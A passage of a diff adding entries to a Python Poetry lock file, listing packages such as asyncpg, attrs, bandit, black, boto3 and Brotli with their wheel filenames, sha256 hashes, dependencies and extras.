+ {file = "asyncpg-0.27.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:20b596d8d074f6f695c13ffb8646d0b6bb1ab570ba7b0cfd349b921ff03cfc1e"},
+ {file = "asyncpg-0.27.0-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:7a6206210c869ebd3f4eb9e89bea132aefb56ff3d1b7dd7e26b102b17e27bbb1"},
+ {file = "asyncpg-0.27.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:a7a94c03386bb95456b12c66026b3a87d1b965f0f1e5733c36e7229f8f137747"},
+ {file = "asyncpg-0.27.0-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:bfc3980b4ba6f97138b04f0d32e8af21d6c9fa1f8e6e140c07d15690a0a99279"},
+ {file = "asyncpg-0.27.0-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:9654085f2b22f66952124de13a8071b54453ff972c25c59b5ce1173a4283ffd9"},
+ {file = "asyncpg-0.27.0-cp310-cp310-win32.whl", hash = "sha256:879c29a75969eb2722f94443752f4720d560d1e748474de54ae8dd230bc4956b"},
+ {file = "asyncpg-0.27.0-cp310-cp310-win_amd64.whl", hash = "sha256:ab0f21c4818d46a60ca789ebc92327d6d874d3b7ccff3963f7af0a21dc6cff52"},
+ {file = "asyncpg-0.27.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:18f77e8e71e826ba2d0c3ba6764930776719ae2b225ca07e014590545928b576"},
+ {file = "asyncpg-0.27.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:c2232d4625c558f2aa001942cac1d7952aa9f0dbfc212f63bc754277769e1ef2"},
+ {file = "asyncpg-0.27.0-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:9a3a4ff43702d39e3c97a8786314123d314e0f0e4dabc8367db5b665c93914de"},
+ {file = "asyncpg-0.27.0-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:ccddb9419ab4e1c48742457d0c0362dbdaeb9b28e6875115abfe319b29ee225d"},
+ {file = "asyncpg-0.27.0-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:768e0e7c2898d40b16d4ef7a0b44e8150db3dd8995b4652aa1fe2902e92c7df8"},
+ {file = "asyncpg-0.27.0-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:609054a1f47292a905582a1cfcca51a6f3f30ab9d822448693e66fdddde27920"},
+ {file = "asyncpg-0.27.0-cp311-cp311-win32.whl", hash = "sha256:8113e17cfe236dc2277ec844ba9b3d5312f61bd2fdae6d3ed1c1cdd75f6cf2d8"},
+ {file = "asyncpg-0.27.0-cp311-cp311-win_amd64.whl", hash = "sha256:bb71211414dd1eeb8d31ec529fe77cff04bf53efc783a5f6f0a32d84923f45cf"},
+ {file = "asyncpg-0.27.0-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:4750f5cf49ed48a6e49c6e5aed390eee367694636c2dcfaf4a273ca832c5c43c"},
+ {file = "asyncpg-0.27.0-cp37-cp37m-musllinux_1_1_aarch64.whl", hash = "sha256:eca01eb112a39d31cc4abb93a5aef2a81514c23f70956729f42fb83b11b3483f"},
+ {file = "asyncpg-0.27.0-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:5710cb0937f696ce303f5eed6d272e3f057339bb4139378ccecafa9ee923a71c"},
+ {file = "asyncpg-0.27.0-cp37-cp37m-win_amd64.whl", hash = "sha256:71cca80a056ebe19ec74b7117b09e650990c3ca535ac1c35234a96f65604192f"},
+ {file = "asyncpg-0.27.0-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:4bb366ae34af5b5cabc3ac6a5347dfb6013af38c68af8452f27968d49085ecc0"},
+ {file = "asyncpg-0.27.0-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:16ba8ec2e85d586b4a12bcd03e8d29e3d99e832764d6a1d0b8c27dbbe4a2569d"},
+ {file = "asyncpg-0.27.0-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:d20dea7b83651d93b1eb2f353511fe7fd554752844523f17ad30115d8b9c8cd6"},
+ {file = "asyncpg-0.27.0-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:e56ac8a8237ad4adec97c0cd4728596885f908053ab725e22900b5902e7f8e69"},
+ {file = "asyncpg-0.27.0-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:bf21ebf023ec67335258e0f3d3ad7b91bb9507985ba2b2206346de488267cad0"},
+ {file = "asyncpg-0.27.0-cp38-cp38-win32.whl", hash = "sha256:69aa1b443a182b13a17ff926ed6627af2d98f62f2fe5890583270cc4073f63bf"},
+ {file = "asyncpg-0.27.0-cp38-cp38-win_amd64.whl", hash = "sha256:62932f29cf2433988fcd799770ec64b374a3691e7902ecf85da14d5e0854d1ea"},
+ {file = "asyncpg-0.27.0-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:fddcacf695581a8d856654bc4c8cfb73d5c9df26d5f55201722d3e6a699e9629"},
+ {file = "asyncpg-0.27.0-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:7d8585707ecc6661d07367d444bbaa846b4e095d84451340da8df55a3757e152"},
+ {file = "asyncpg-0.27.0-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:975a320baf7020339a67315284a4d3bf7460e664e484672bd3e71dbd881bc692"},
+ {file = "asyncpg-0.27.0-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:2232ebae9796d4600a7819fc383da78ab51b32a092795f4555575fc934c1c89d"},
+ {file = "asyncpg-0.27.0-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:88b62164738239f62f4af92567b846a8ef7cf8abf53eddd83650603de4d52163"},
+ {file = "asyncpg-0.27.0-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:eb4b2fdf88af4fb1cc569781a8f933d2a73ee82cd720e0cb4edabbaecf2a905b"},
+ {file = "asyncpg-0.27.0-cp39-cp39-win32.whl", hash = "sha256:8934577e1ed13f7d2d9cea3cc016cc6f95c19faedea2c2b56a6f94f257cea672"},
+ {file = "asyncpg-0.27.0-cp39-cp39-win_amd64.whl", hash = "sha256:1b6499de06fe035cf2fa932ec5617ed3f37d4ebbf663b655922e105a484a6af9"},
+ {file = "asyncpg-0.27.0.tar.gz", hash = "sha256:720986d9a4705dd8a40fdf172036f5ae787225036a7eb46e704c45aa8f62c054"},
+]
+
+[package.extras]
+dev = ["Cython (>=0.29.24,<0.30.0)", "Sphinx (>=4.1.2,<4.2.0)", "flake8 (>=5.0.4,<5.1.0)", "pytest (>=6.0)", "sphinx-rtd-theme (>=0.5.2,<0.6.0)", "sphinxcontrib-asyncio (>=0.3.0,<0.4.0)", "uvloop (>=0.15.3)"]
+docs = ["Sphinx (>=4.1.2,<4.2.0)", "sphinx-rtd-theme (>=0.5.2,<0.6.0)", "sphinxcontrib-asyncio (>=0.3.0,<0.4.0)"]
+test = ["flake8 (>=5.0.4,<5.1.0)", "uvloop (>=0.15.3)"]
+
+[[package]]
+name = "asyncpg-stubs"
+version = "0.27.0"
+description = "asyncpg stubs"
+category = "dev"
+optional = false
+python-versions = ">=3.7,<4.0"
+files = [
+ {file = "asyncpg_stubs-0.27.0-py3-none-any.whl", hash = "sha256:271ea4787dd0e61ff3bffdeb542204af0584c13488a50c318f511c98722ca9e6"},
+ {file = "asyncpg_stubs-0.27.0.tar.gz", hash = "sha256:2e805aeb2ed7b5577b70f7a6e95d5bf897a806a65726197bc15396378bb881d5"},
+]
+
+[package.dependencies]
+asyncpg = ">=0.27,<0.28"
+typing-extensions = ">=4.2.0,<5.0.0"
+
+[[package]]
+name = "attrs"
+version = "23.1.0"
+description = "Classes Without Boilerplate"
+category = "main"
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "attrs-23.1.0-py3-none-any.whl", hash = "sha256:1f28b4522cdc2fb4256ac1a020c78acf9cba2c6b461ccd2c126f3aa8e8335d04"},
+ {file = "attrs-23.1.0.tar.gz", hash = "sha256:6279836d581513a26f1bf235f9acd333bc9115683f14f7e8fae46c98fc50e015"},
+]
+
+[package.extras]
+cov = ["attrs[tests]", "coverage[toml] (>=5.3)"]
+dev = ["attrs[docs,tests]", "pre-commit"]
+docs = ["furo", "myst-parser", "sphinx", "sphinx-notfound-page", "sphinxcontrib-towncrier", "towncrier", "zope-interface"]
+tests = ["attrs[tests-no-zope]", "zope-interface"]
+tests-no-zope = ["cloudpickle", "hypothesis", "mypy (>=1.1.1)", "pympler", "pytest (>=4.3.0)", "pytest-mypy-plugins", "pytest-xdist[psutil]"]
+
+[[package]]
+name = "bandit"
+version = "1.7.5"
+description = "Security oriented static analyser for python code."
+category = "dev"
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "bandit-1.7.5-py3-none-any.whl", hash = "sha256:75665181dc1e0096369112541a056c59d1c5f66f9bb74a8d686c3c362b83f549"},
+ {file = "bandit-1.7.5.tar.gz", hash = "sha256:bdfc739baa03b880c2d15d0431b31c658ffc348e907fe197e54e0389dd59e11e"},
+]
+
+[package.dependencies]
+colorama = {version = ">=0.3.9", markers = "platform_system == \"Windows\""}
+GitPython = ">=1.0.1"
+PyYAML = ">=5.3.1"
+rich = "*"
+stevedore = ">=1.20.0"
+
+[package.extras]
+test = ["beautifulsoup4 (>=4.8.0)", "coverage (>=4.5.4)", "fixtures (>=3.0.0)", "flake8 (>=4.0.0)", "pylint (==1.9.4)", "stestr (>=2.5.0)", "testscenarios (>=0.5.0)", "testtools (>=2.3.0)", "tomli (>=1.1.0)"]
+toml = ["tomli (>=1.1.0)"]
+yaml = ["PyYAML"]
+
+[[package]]
+name = "binaryornot"
+version = "0.4.4"
+description = "Ultra-lightweight pure Python package to check if a file is binary or text."
+category = "main"
+optional = false
+python-versions = "*"
+files = [
+ {file = "binaryornot-0.4.4-py2.py3-none-any.whl", hash = "sha256:b8b71173c917bddcd2c16070412e369c3ed7f0528926f70cac18a6c97fd563e4"},
+ {file = "binaryornot-0.4.4.tar.gz", hash = "sha256:359501dfc9d40632edc9fac890e19542db1a287bbcfa58175b66658392018061"},
+]
+
+[package.dependencies]
+chardet = ">=3.0.2"
+
+[[package]]
+name = "black"
+version = "22.12.0"
+description = "The uncompromising code formatter."
+category = "dev"
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "black-22.12.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:9eedd20838bd5d75b80c9f5487dbcb06836a43833a37846cf1d8c1cc01cef59d"},
+ {file = "black-22.12.0-cp310-cp310-win_amd64.whl", hash = "sha256:159a46a4947f73387b4d83e87ea006dbb2337eab6c879620a3ba52699b1f4351"},
+ {file = "black-22.12.0-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:d30b212bffeb1e252b31dd269dfae69dd17e06d92b87ad26e23890f3efea366f"},
+ {file = "black-22.12.0-cp311-cp311-win_amd64.whl", hash = "sha256:7412e75863aa5c5411886804678b7d083c7c28421210180d67dfd8cf1221e1f4"},
+ {file = "black-22.12.0-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:c116eed0efb9ff870ded8b62fe9f28dd61ef6e9ddd28d83d7d264a38417dcee2"},
+ {file = "black-22.12.0-cp37-cp37m-win_amd64.whl", hash = "sha256:1f58cbe16dfe8c12b7434e50ff889fa479072096d79f0a7f25e4ab8e94cd8350"},
+ {file = "black-22.12.0-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:77d86c9f3db9b1bf6761244bc0b3572a546f5fe37917a044e02f3166d5aafa7d"},
+ {file = "black-22.12.0-cp38-cp38-win_amd64.whl", hash = "sha256:82d9fe8fee3401e02e79767016b4907820a7dc28d70d137eb397b92ef3cc5bfc"},
+ {file = "black-22.12.0-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:101c69b23df9b44247bd88e1d7e90154336ac4992502d4197bdac35dd7ee3320"},
+ {file = "black-22.12.0-cp39-cp39-win_amd64.whl", hash = "sha256:559c7a1ba9a006226f09e4916060982fd27334ae1998e7a38b3f33a37f7a2148"},
+ {file = "black-22.12.0-py3-none-any.whl", hash = "sha256:436cc9167dd28040ad90d3b404aec22cedf24a6e4d7de221bec2730ec0c97bcf"},
+ {file = "black-22.12.0.tar.gz", hash = "sha256:229351e5a18ca30f447bf724d007f890f97e13af070bb6ad4c0a441cd7596a2f"},
+]
+
+[package.dependencies]
+click = ">=8.0.0"
+mypy-extensions = ">=0.4.3"
+pathspec = ">=0.9.0"
+platformdirs = ">=2"
+
+[package.extras]
+colorama = ["colorama (>=0.4.3)"]
+d = ["aiohttp (>=3.7.4)"]
+jupyter = ["ipython (>=7.8.0)", "tokenize-rt (>=3.2.0)"]
+uvloop = ["uvloop (>=0.15.2)"]
+
+[[package]]
+name = "blinker"
+version = "1.6.2"
+description = "Fast, simple object-to-object and broadcast signaling"
+category = "main"
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "blinker-1.6.2-py3-none-any.whl", hash = "sha256:c3d739772abb7bc2860abf5f2ec284223d9ad5c76da018234f6f50d6f31ab1f0"},
+ {file = "blinker-1.6.2.tar.gz", hash = "sha256:4afd3de66ef3a9f8067559fb7a1cbe555c17dcbe15971b05d1b625c3e7abe213"},
+]
+
+[[package]]
+name = "boto3"
+version = "1.24.59"
+description = "The AWS SDK for Python"
+category = "main"
+optional = false
+python-versions = ">= 3.7"
+files = [
+ {file = "boto3-1.24.59-py3-none-any.whl", hash = "sha256:34ab44146a2c4e7f4e72737f4b27e6eb5e0a7855c2f4599e3d9199b6a0a2d575"},
+ {file = "boto3-1.24.59.tar.gz", hash = "sha256:a50b4323f9579cfe22fcf5531fbd40b567d4d74c1adce06aeb5c95fce2a6fb40"},
+]
+
+[package.dependencies]
+botocore = ">=1.27.59,<1.28.0"
+jmespath = ">=0.7.1,<2.0.0"
+s3transfer = ">=0.6.0,<0.7.0"
+
+[package.extras]
+crt = ["botocore[crt] (>=1.21.0,<2.0a0)"]
+
+[[package]]
+name = "botocore"
+version = "1.27.59"
+description = "Low-level, data-driven core of boto 3."
+category = "main"
+optional = false
+python-versions = ">= 3.7"
+files = [
+ {file = "botocore-1.27.59-py3-none-any.whl", hash = "sha256:69d756791fc024bda54f6c53f71ae34e695ee41bbbc1743d9179c4837a4929da"},
+ {file = "botocore-1.27.59.tar.gz", hash = "sha256:eda4aed6ee719a745d1288eaf1beb12f6f6448ad1fa12f159405db14ba9c92cf"},
+]
+
+[package.dependencies]
+jmespath = ">=0.7.1,<2.0.0"
+python-dateutil = ">=2.1,<3.0.0"
+urllib3 = ">=1.25.4,<1.27"
+
+[package.extras]
+crt = ["awscrt (==0.14.0)"]
+
+[[package]]
+name = "breadability"
+version = "0.1.20"
+description = "Port of Readability HTML parser in Python"
+category = "main"
+optional = false
+python-versions = "*"
+files = [
+ {file = "breadability-0.1.20.tar.gz", hash = "sha256:f1a7fdad1e58e295df80954879143824c706bbfb1826cdf4b1d15de1a86afe99"},
+]
+
+[package.dependencies]
+chardet = "*"
+docopt = ">=0.6.1,<0.7"
+lxml = ">=2.0"
+
+[[package]]
+name = "brotli"
+version = "1.0.9"
+description = "Python bindings for the Brotli compression library"
+category = "main"
+optional = false
+python-versions = "*"
+files = [
+ {file = "Brotli-1.0.9-cp27-cp27m-macosx_10_9_x86_64.whl", hash = "sha256:268fe94547ba25b58ebc724680609c8ee3e5a843202e9a381f6f9c5e8bdb5c70"},
+ {file = "Brotli-1.0.9-cp27-cp27m-manylinux1_i686.whl", hash = "sha256:c2415d9d082152460f2bd4e382a1e85aed233abc92db5a3880da2257dc7daf7b"},
+ {file = "Brotli-1.0.9-cp27-cp27m-manylinux1_x86_64.whl", hash = "sha256:5913a1177fc36e30fcf6dc868ce23b0453952c78c04c266d3149b3d39e1410d6"},
+ {file = "Brotli-1.0.9-cp27-cp27m-win32.whl", hash = "sha256:afde17ae04d90fbe53afb628f7f2d4ca022797aa093e809de5c3cf276f61bbfa"},
+ {file = "Brotli-1.0.9-cp27-cp27mu-manylinux1_i686.whl", hash = "sha256:7cb81373984cc0e4682f31bc3d6be9026006d96eecd07ea49aafb06897746452"},
+ {file = "Brotli-1.0.9-cp27-cp27mu-manylinux1_x86_64.whl", hash = "sha256:db844eb158a87ccab83e868a762ea8024ae27337fc7ddcbfcddd157f841fdfe7"},
+ {file = "Brotli-1.0.9-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:9744a863b489c79a73aba014df554b0e7a0fc44ef3f8a0ef2a52919c7d155031"},
+ {file = "Brotli-1.0.9-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:a72661af47119a80d82fa583b554095308d6a4c356b2a554fdc2799bc19f2a43"},
+ {file = "Brotli-1.0.9-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:7ee83d3e3a024a9618e5be64648d6d11c37047ac48adff25f12fa4226cf23d1c"},
+ {file = "Brotli-1.0.9-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_12_i686.manylinux2010_i686.whl", hash = "sha256:19598ecddd8a212aedb1ffa15763dd52a388518c4550e615aed88dc3753c0f0c"},
+ {file = "Brotli-1.0.9-cp310-cp310-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:44bb8ff420c1d19d91d79d8c3574b8954288bdff0273bf788954064d260d7ab0"},
+ {file = "Brotli-1.0.9-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:e23281b9a08ec338469268f98f194658abfb13658ee98e2b7f85ee9dd06caa91"},
+ {file = "Brotli-1.0.9-cp310-cp310-musllinux_1_1_i686.whl", hash = "sha256:3496fc835370da351d37cada4cf744039616a6db7d13c430035e901443a34daa"},
+ {file = "Brotli-1.0.9-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:b83bb06a0192cccf1eb8d0a28672a1b79c74c3a8a5f2619625aeb6f28b3a82bb"},
+ {file = "Brotli-1.0.9-cp310-cp310-win32.whl", hash = "sha256:26d168aac4aaec9a4394221240e8a5436b5634adc3cd1cdf637f6645cecbf181"},
+ {file = "Brotli-1.0.9-cp310-cp310-win_amd64.whl", hash = "sha256:622a231b08899c864eb87e85f81c75e7b9ce05b001e59bbfbf43d4a71f5f32b2"},
+ {file = "Brotli-1.0.9-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:cc0283a406774f465fb45ec7efb66857c09ffefbe49ec20b7882eff6d3c86d3a"},
+ {file = "Brotli-1.0.9-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:11d3283d89af7033236fa4e73ec2cbe743d4f6a81d41bd234f24bf63dde979df"},
+ {file = "Brotli-1.0.9-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:3c1306004d49b84bd0c4f90457c6f57ad109f5cc6067a9664e12b7b79a9948ad"},
+ {file = "Brotli-1.0.9-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:b1375b5d17d6145c798661b67e4ae9d5496920d9265e2f00f1c2c0b5ae91fbde"},
+ {file = "Brotli-1.0.9-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:cab1b5964b39607a66adbba01f1c12df2e55ac36c81ec6ed44f2fca44178bf1a"},
+ {file = "Brotli-1.0.9-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:8ed6a5b3d23ecc00ea02e1ed8e0ff9a08f4fc87a1f58a2530e71c0f48adf882f"},
+ {file = "Brotli-1.0.9-cp311-cp311-musllinux_1_1_i686.whl", hash = "sha256:cb02ed34557afde2d2da68194d12f5719ee96cfb2eacc886352cb73e3808fc5d"},
+ {file = "Brotli-1.0.9-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:b3523f51818e8f16599613edddb1ff924eeb4b53ab7e7197f85cbc321cdca32f"},
+ {file = "Brotli-1.0.9-cp311-cp311-win32.whl", hash = "sha256:ba72d37e2a924717990f4d7482e8ac88e2ef43fb95491eb6e0d124d77d2a150d"},
+ {file = "Brotli-1.0.9-cp311-cp311-win_amd64.whl", hash = "sha256:3ffaadcaeafe9d30a7e4e1e97ad727e4f5610b9fa2f7551998471e3736738679"},
+ {file = "Brotli-1.0.9-cp35-cp35m-macosx_10_6_intel.whl", hash = "sha256:c83aa123d56f2e060644427a882a36b3c12db93727ad7a7b9efd7d7f3e9cc2c4"},
+ {file = "Brotli-1.0.9-cp35-cp35m-manylinux1_i686.whl", hash = "sha256:6b2ae9f5f67f89aade1fab0f7fd8f2832501311c363a21579d02defa844d9296"},
+ {file = "Brotli-1.0.9-cp35-cp35m-manylinux1_x86_64.whl", hash = "sha256:68715970f16b6e92c574c30747c95cf8cf62804569647386ff032195dc89a430"},
+ {file = "Brotli-1.0.9-cp35-cp35m-win32.whl", hash = "sha256:defed7ea5f218a9f2336301e6fd379f55c655bea65ba2476346340a0ce6f74a1"},
+ {file = "Brotli-1.0.9-cp35-cp35m-win_amd64.whl", hash = "sha256:88c63a1b55f352b02c6ffd24b15ead9fc0e8bf781dbe070213039324922a2eea"},
+ {file = "Brotli-1.0.9-cp36-cp36m-macosx_10_9_x86_64.whl", hash = "sha256:503fa6af7da9f4b5780bb7e4cbe0c639b010f12be85d02c99452825dd0feef3f"},
+ {file = "Brotli-1.0.9-cp36-cp36m-manylinux1_i686.whl", hash = "sha256:40d15c79f42e0a2c72892bf407979febd9cf91f36f495ffb333d1d04cebb34e4"},
+ {file = "Brotli-1.0.9-cp36-cp36m-manylinux1_x86_64.whl", hash = "sha256:93130612b837103e15ac3f9cbacb4613f9e348b58b3aad53721d92e57f96d46a"},
+ {file = "Brotli-1.0.9-cp36-cp36m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:87fdccbb6bb589095f413b1e05734ba492c962b4a45a13ff3408fa44ffe6479b"},
+ {file = "Brotli-1.0.9-cp36-cp36m-musllinux_1_1_aarch64.whl", hash = "sha256:6d847b14f7ea89f6ad3c9e3901d1bc4835f6b390a9c71df999b0162d9bb1e20f"},
+ {file = "Brotli-1.0.9-cp36-cp36m-musllinux_1_1_i686.whl", hash = "sha256:495ba7e49c2db22b046a53b469bbecea802efce200dffb69b93dd47397edc9b6"},
+ {file = "Brotli-1.0.9-cp36-cp36m-musllinux_1_1_x86_64.whl", hash = "sha256:4688c1e42968ba52e57d8670ad2306fe92e0169c6f3af0089be75bbac0c64a3b"},
+ {file = "Brotli-1.0.9-cp36-cp36m-win32.whl", hash = "sha256:61a7ee1f13ab913897dac7da44a73c6d44d48a4adff42a5701e3239791c96e14"},
+ {file = "Brotli-1.0.9-cp36-cp36m-win_amd64.whl", hash = "sha256:1c48472a6ba3b113452355b9af0a60da5c2ae60477f8feda8346f8fd48e3e87c"},
+ {file = "Brotli-1.0.9-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:3b78a24b5fd13c03ee2b7b86290ed20efdc95da75a3557cc06811764d5ad1126"},
+ {file = "Brotli-1.0.9-cp37-cp37m-manylinux1_i686.whl", hash = "sha256:9d12cf2851759b8de8ca5fde36a59c08210a97ffca0eb94c532ce7b17c6a3d1d"},
+ {file = "Brotli-1.0.9-cp37-cp37m-manylinux1_x86_64.whl", hash = "sha256:6c772d6c0a79ac0f414a9f8947cc407e119b8598de7621f39cacadae3cf57d12"},
+ {file = "Brotli-1.0.9-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:29d1d350178e5225397e28ea1b7aca3648fcbab546d20e7475805437bfb0a130"},
+ {file = "Brotli-1.0.9-cp37-cp37m-musllinux_1_1_aarch64.whl", hash = "sha256:7bbff90b63328013e1e8cb50650ae0b9bac54ffb4be6104378490193cd60f85a"},
+ {file = "Brotli-1.0.9-cp37-cp37m-musllinux_1_1_i686.whl", hash = "sha256:ec1947eabbaf8e0531e8e899fc1d9876c179fc518989461f5d24e2223395a9e3"},
+ {file = "Brotli-1.0.9-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:12effe280b8ebfd389022aa65114e30407540ccb89b177d3fbc9a4f177c4bd5d"},
+ {file = "Brotli-1.0.9-cp37-cp37m-win32.whl", hash = "sha256:f909bbbc433048b499cb9db9e713b5d8d949e8c109a2a548502fb9aa8630f0b1"},
+ {file = "Brotli-1.0.9-cp37-cp37m-win_amd64.whl", hash = "sha256:97f715cf371b16ac88b8c19da00029804e20e25f30d80203417255d239f228b5"},
+ {file = "Brotli-1.0.9-cp38-cp38-macosx_10_9_universal2.whl", hash = "sha256:e16eb9541f3dd1a3e92b89005e37b1257b157b7256df0e36bd7b33b50be73bcb"},
+ {file = "Brotli-1.0.9-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:160c78292e98d21e73a4cc7f76a234390e516afcd982fa17e1422f7c6a9ce9c8"},
+ {file = "Brotli-1.0.9-cp38-cp38-manylinux1_i686.whl", hash = "sha256:b663f1e02de5d0573610756398e44c130add0eb9a3fc912a09665332942a2efb"},
+ {file = "Brotli-1.0.9-cp38-cp38-manylinux1_x86_64.whl", hash = "sha256:5b6ef7d9f9c38292df3690fe3e302b5b530999fa90014853dcd0d6902fb59f26"},
+ {file = "Brotli-1.0.9-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:8a674ac10e0a87b683f4fa2b6fa41090edfd686a6524bd8dedbd6138b309175c"},
+ {file = "Brotli-1.0.9-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:e2d9e1cbc1b25e22000328702b014227737756f4b5bf5c485ac1d8091ada078b"},
+ {file = "Brotli-1.0.9-cp38-cp38-musllinux_1_1_i686.whl", hash = "sha256:b336c5e9cf03c7be40c47b5fd694c43c9f1358a80ba384a21969e0b4e66a9b17"},
+ {file = "Brotli-1.0.9-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:85f7912459c67eaab2fb854ed2bc1cc25772b300545fe7ed2dc03954da638649"},
+ {file = "Brotli-1.0.9-cp38-cp38-win32.whl", hash = "sha256:35a3edbe18e876e596553c4007a087f8bcfd538f19bc116917b3c7522fca0429"},
+ {file = "Brotli-1.0.9-cp38-cp38-win_amd64.whl", hash = "sha256:269a5743a393c65db46a7bb982644c67ecba4b8d91b392403ad8a861ba6f495f"},
+ {file = "Brotli-1.0.9-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:2aad0e0baa04517741c9bb5b07586c642302e5fb3e75319cb62087bd0995ab19"},
+ {file = "Brotli-1.0.9-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:5cb1e18167792d7d21e21365d7650b72d5081ed476123ff7b8cac7f45189c0c7"},
+ {file = "Brotli-1.0.9-cp39-cp39-manylinux1_i686.whl", hash = "sha256:16d528a45c2e1909c2798f27f7bf0a3feec1dc9e50948e738b961618e38b6a7b"},
+ {file = "Brotli-1.0.9-cp39-cp39-manylinux1_x86_64.whl", hash = "sha256:56d027eace784738457437df7331965473f2c0da2c70e1a1f6fdbae5402e0389"},
+ {file = "Brotli-1.0.9-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:9bf919756d25e4114ace16a8ce91eb340eb57a08e2c6950c3cebcbe3dff2a5e7"},
+ {file = "Brotli-1.0.9-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:e4c4e92c14a57c9bd4cb4be678c25369bf7a092d55fd0866f759e425b9660806"},
+ {file = "Brotli-1.0.9-cp39-cp39-musllinux_1_1_i686.whl", hash = "sha256:e48f4234f2469ed012a98f4b7874e7f7e173c167bed4934912a29e03167cf6b1"},
+ {file = "Brotli-1.0.9-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:9ed4c92a0665002ff8ea852353aeb60d9141eb04109e88928026d3c8a9e5433c"},
+ {file = "Brotli-1.0.9-cp39-cp39-win32.whl", hash = "sha256:cfc391f4429ee0a9370aa93d812a52e1fee0f37a81861f4fdd1f4fb28e8547c3"},
+ {file = "Brotli-1.0.9-cp39-cp39-win_amd64.whl", hash = "sha256:854c33dad5ba0fbd6ab69185fec8dab89e13cda6b7d191ba111987df74f38761"},
+ {file = "Brotli-1.0.9-pp37-pypy37_pp73-macosx_10_9_x86_64.whl", hash = "sha256:9749a124280a0ada4187a6cfd1ffd35c350fb3af79c706589d98e088c5044267"},
+ {file = "Brotli-1.0.9-pp37-pypy37_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_12_i686.manylinux2010_i686.whl", hash = "sha256:73fd30d4ce0ea48010564ccee1a26bfe39323fde05cb34b5863455629db61dc7"},
+ {file = "Brotli-1.0.9-pp37-pypy37_pp73-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:02177603aaca36e1fd21b091cb742bb3b305a569e2402f1ca38af471777fb019"},
+ {file = "Brotli-1.0.9-pp37-pypy37_pp73-win_amd64.whl", hash = "sha256:76ffebb907bec09ff511bb3acc077695e2c32bc2142819491579a695f77ffd4d"},
